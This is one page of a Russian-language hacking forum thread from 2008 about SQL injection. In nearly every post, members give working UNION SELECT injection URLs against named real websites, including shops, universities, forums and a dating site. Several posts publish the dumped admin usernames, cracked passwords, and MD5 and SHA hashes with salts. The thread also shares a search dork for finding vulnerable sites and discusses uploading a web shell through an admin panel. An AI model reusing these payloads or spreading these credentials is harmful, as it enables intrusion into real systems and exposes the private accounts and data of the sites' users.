SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 283 of 798
  1. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    http://woonsanmall.com/shop/board/view.php?id=wdietinfo&ws=1&s=4_4&no=-1/**/union/**/select/**/0,1,2,name,password,5,6,7+from+gd_member/*

    Дорк: inurl:"view.php?id=" inurl:"shop"
     
    #5641 BlackSun, 12 Jun 2008
  2. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    это не дорк. сайтов с такими урлами много ;)
     
    #5642 Dimi4, 12 Jun 2008
  3. SUBJECT617

    SUBJECT617 Elder - Старейшина

    Joined:
    6 Aug 2007
    Messages:
    73
    Likes Received:
    34
    Reputations:
    -2
    Code:
    http://proge.info/news/news.php?id=-1+union+select+1,2,user_password,username,5,6+from+users+limit+1,1/*
    Могли бы хоть в библиотеке программистов не проглядеть это =\

    ====================================

    Code:
    http://www.zerecords.com/artists/artist.php?id=-19+union+select+1,login,passwd,4,5,6,7,8,9,10,11,12+from+user/*
    Логин - admin, пароль - все остальное... Чет меня сначала смущала надпись сверху что я аж незаметил написанного чуть ниже 23...
     
    #5643 SUBJECT617, 12 Jun 2008
    Last edited: 12 Jun 2008
  4. Shram-spb

    Shram-spb Member

    Joined:
    6 Jun 2007
    Messages:
    64
    Likes Received:
    42
    Reputations:
    35
    Code:
    http://torrentz.ru/search.php?kwds=ss'+union+select+1,table_name,3,4,5,6,7,8+from+information_schema.tables/*&cat=0
     
    #5644 Shram-spb, 12 Jun 2008
  5. SUBJECT617

    SUBJECT617 Elder - Старейшина

    Joined:
    6 Aug 2007
    Messages:
    73
    Likes Received:
    34
    Reputations:
    -2
    Code:
    http://videoart.virtualmuseum.ca/artist.php?id=-13+union+select+1,username,user_password,user_email,5,6,7,8,9,10+from+drupal_DEV.bb_users+limit+0,1/*
    About admin=) Красиво выдано.. Есть еще столбец user_icq. База кажется большая, я только непонял чо эт за сайт. Типа youtube вроде...
     
    #5645 SUBJECT617, 12 Jun 2008
  6. Shram-spb

    Shram-spb Member

    Joined:
    6 Jun 2007
    Messages:
    64
    Likes Received:
    42
    Reputations:
    35
    Code:
    http://www.afrodita.ru/fastsearch.php?genderme=1&genderyouu=2&foto=1&intim=0&age1=&age2=0'+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,concat_ws(char(58),login,passw),1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0+from+USERS/*
    красота :)
    большая база мыл.. если покапаться - можно найти интимные фотки ;)
     
    #5646 Shram-spb, 12 Jun 2008
  7. SUBJECT617

    SUBJECT617 Elder - Старейшина

    Joined:
    6 Aug 2007
    Messages:
    73
    Likes Received:
    34
    Reputations:
    -2
    Code:
    http://www.warconent.com/artist.php?id=-12+union+select+1,phpQid,passwd,4,5,6,7,8,9,10,11,12,13,14+from+phpqadmin/*
    Почемуто столбца с username небыло...
     
    #5647 SUBJECT617, 12 Jun 2008
  8. tor4)

    tor4) Elder - Старейшина

    Joined:
    27 May 2008
    Messages:
    45
    Likes Received:
    21
    Reputations:
    -6
    http://psyedu.ru/rview.php?view=-1+union+select+1,2,login,user_password,5,6,7+from+user/*
    maxwell 1q2w3e


    http://psyedu.ru/admin ;)

    Мона через создании статьи залить shell???
     
    #5648 tor4), 12 Jun 2008
    1 person likes this.
  9. s_p_a_m

    s_p_a_m Elder - Старейшина

    Joined:
    8 Feb 2008
    Messages:
    100
    Likes Received:
    58
    Reputations:
    4
    _http://www.bsigroup.ru/outgoing/news.php?id=0%27+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,_login_xz,_pass_xz),10+from+_system_user/*

    login:password в MD5

    salzman:gctdlj
    svetlana:789258

    два штуки удалось расшифровать
     
    #5649 s_p_a_m, 12 Jun 2008
    Last edited: 12 Jun 2008
    1 person likes this.
  10. Велемир

    Велемир Banned

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Можно,если админка php или ещё какая,но не html =_=.
    Мне чето чаще попадаются именно хтмл =_=.Попробуй через аплоад(хотя врядли получицо).А вообще в каждой админке,если она не самописная,есь свои дыры =_=,а то придёццо искать исходники =________________=
     
    #5650 Велемир, 12 Jun 2008
    Last edited: 12 Jun 2008
  11. MaSTeR GэN

    MaSTeR GэN Member

    Joined:
    23 May 2008
    Messages:
    102
    Likes Received:
    54
    Reputations:
    7
    просто обыныя страница ;)

    Code:
    http://hayam.spinners.ru/view_thisf.php?i=-681%20union%20select%201,version(),3,4/*
    VER:4.0.27-max-log
    DB:zagorsk5
    DBUSER:[email protected]
     
    #5651 MaSTeR GэN, 12 Jun 2008
    1 person likes this.
  12. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    Woonsanmall.com
     
    #5652 sabe, 12 Jun 2008
  13. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    Интернет Магазины:

    2002fifa.com
    и еще докручу потом)
     
    #5653 sabe, 12 Jun 2008
    Last edited: 13 Jun 2008
  14. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    Youleemall.com
     
    #5654 sabe, 12 Jun 2008
    1 person likes this.
  15. je0n

    je0n Elder - Старейшина

    Joined:
    14 May 2006
    Messages:
    345
    Likes Received:
    96
    Reputations:
    41
    Code:
    http://www.vpole.ru/press/?id=-1467+union+select+1,aes_decrypt(AES_ENCRYPT(concat(0x3a,passwd),char(40)),char(40)),version(),4,5,6,7+from+users+limit+0,1/*
    все поля, что смог добыть. хотя там еще fio вроде есть, но толку нету :)

    Code:
    http://zaraev.ru/interv.php?table=thirdt&id=-1+union+select+1,2,3,concat_ws(0x3a,ID_GROUP,memberName,passwd,passwordSalt)+from+smf_members
    ФОРУМ:
    webmaster:9a4e3f3d060b2fe1d6006058608d899f5fd12df4:9d2e
    ak1nok:53aef746035f578fa4d9ce8ef7fe511d094e5174:6b20

    Code:
    http://www.ortho-media.ru/index.php?p=2&n=-185+union+select+1,2,concat_ws(0x3a,username,user_password),4,5,6,7,8,9,0,11+from+phpbb_users+where+user_level=1+limit+0,1
    Админы форума:
    admin:2aea4662595bb1c87f4217ac802447d5
    Сергей Чапнин:e27a05392d79b6e32d26c3829eeca755:potsdam
    Роман Наумов:0a0b3fef760c72c912f922e3f6f2d173

    Code:
    http://www.buddhism.ru/info/tour.php?id=1829999+union+select+table_name+from+information_schema.columns+where+column_name+like+char(37,112,97,115,37)+limit+0,1
     
    #5655 je0n, 13 Jun 2008
    3 people like this.
  16. Imperou$

    Imperou$ Elder - Старейшина

    Joined:
    23 May 2008
    Messages:
    90
    Likes Received:
    42
    Reputations:
    0
    http://www.pernod-ricard-usa.com/media/pr.php?id=-26'+union+select+concat_ws(0x3A3a,user,password)+from+mysql.user/*&pr_id=167

    В обратном порядке:
    prusa::798aedc01f3da90f
    horde::5a53dc5b3d8c9efd
    pma_0KbygRTartGC::52946058691b483a
    admin::1e634b394cd6be54
     
    #5656 Imperou$, 13 Jun 2008
    1 person likes this.
  17. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    www.anglus.pl

    www.fertiligene.com

     
    #5657 ~!DoK_tOR!~, 13 Jun 2008
    Last edited: 14 Jun 2008
    1 person likes this.
  18. Imperou$

    Imperou$ Elder - Старейшина

    Joined:
    23 May 2008
    Messages:
    90
    Likes Received:
    42
    Reputations:
    0
    http://www.sitesled.com/view_video.php?ID=-14+union+select+1,2,3,4,convert(concat_ws(0x3A3a,username,p
    assword,id,email)+using+latin1),6,7+from+users/*


    Jay::908880209a64ea539ae8dc5fdb7e0a91::1::stock

    Chad::f80bd3a3fde257f42721cb16f7ff87a8::2

    Rattler::de1b2a7baf7850243db71c4abd4e5a39::3
     
    #5658 Imperou$, 13 Jun 2008
    2 people like this.
  19. maxster

    maxster Elder - Старейшина

    Joined:
    27 Oct 2006
    Messages:
    188
    Likes Received:
    88
    Reputations:
    -7
    еще чуток edu

    Code:
    http://inbt.jhu.edu/facultyexpertise.php?id=personalresult&usr=-111+UNION+SELECT+1,VERSION(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21/*

http://www.ncat.edu/press_releases/disp_release.php?ID=-111+UNION+SELECT+1,2,3,4%20%20,5,6,7,8,9,10,11,12,13,VERSION(),15,16,17,18/*
     
    #5659 maxster, 14 Jun 2008
  20. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,363
    Likes Received:
    1,192
    Reputations:
    430
    мылa(будет долго думать 1-2мин.)
     
    #5660 Ch3ck, 14 Jun 2008
    1 person likes this.
(You must log in or sign up to post here.)
Page 283 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.